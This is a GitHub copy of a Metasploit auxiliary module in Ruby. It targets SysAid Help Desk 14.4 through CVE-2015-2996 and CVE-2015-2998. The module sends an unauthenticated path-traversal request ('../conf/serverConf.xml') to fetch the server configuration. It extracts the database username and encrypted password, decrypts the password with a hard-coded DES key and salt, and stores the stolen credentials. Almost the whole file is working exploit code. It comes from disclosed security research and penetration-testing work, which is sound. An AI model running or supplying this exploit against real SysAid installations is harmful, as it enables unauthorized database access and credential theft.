-
Notifications
You must be signed in to change notification settings - Fork 170
/
Copy pathsysaid_sql_creds.rb
149 lines (130 loc) · 5.03 KB
/
sysaid_sql_creds.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
require 'msf/core'
require 'openssl'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "SysAid Help Desk Database Credentials Disclosure",
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows
an unauthenticated user to download arbitrary files from the system. This is
used to download the server configuration file that contains the database username
and password, which is encrypted with a fixed key.
This module has been tested with SysAid 14.4 on Windows and Linux.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-2996' ],
[ 'CVE', '2015-2998' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
],
'DisclosureDate' => 'Jun 3 2015'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
], self.class)
end
def decrypt_password (ciphertext)
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
cipher = OpenSSL::Cipher::Cipher.new("DES")
base_64_code = Rex::Text.decode_base64(ciphertext)
cipher.decrypt
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
plaintext = cipher.update base_64_code
plaintext << cipher.final
plaintext
end
def run
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
'vars_get' => {
'fileName' => '../conf/serverConf.xml'
},
})
rescue Rex::ConnectionRefused
print_error("#{peer} - Could not connect.")
return
end
if res && res.code == 200 && res.body.to_s.bytesize != 0
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
if username && encrypted_password && database_type && database_url
username = username.captures[0]
encrypted_password = encrypted_password.captures[0]
database_url = database_url.captures[0]
database_type = database_type.captures[0]
password = decrypt_password(encrypted_password[6..encrypted_password.length])
credential_core = report_credential_core({
password: password,
username: username
})
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
if matches
begin
if database_url['localhost'] == 'localhost'
db_address = rhost
else
db_address = matches.captures[2]
db_address = (db_address.index(':') ? db_address[0, db_address.index(':')] : db_address)
db_address = Rex::Socket.getaddress(db_address, true)
end
database_login_data = {
address: db_address,
service_name: database_type,
protocol: 'tcp',
workspace_id: myworkspace_id,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(database_login_data)
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
rescue SocketError
print_error "Could not resolve database server hostname."
end
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
return
end
end
print_error("#{peer} - Failed to obtain database credentials, response was: #{res.body}")
else
print_error("#{peer} - Failed to obtain database credentials.")
end
end
def report_credential_core(cred_opts={})
origin_service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end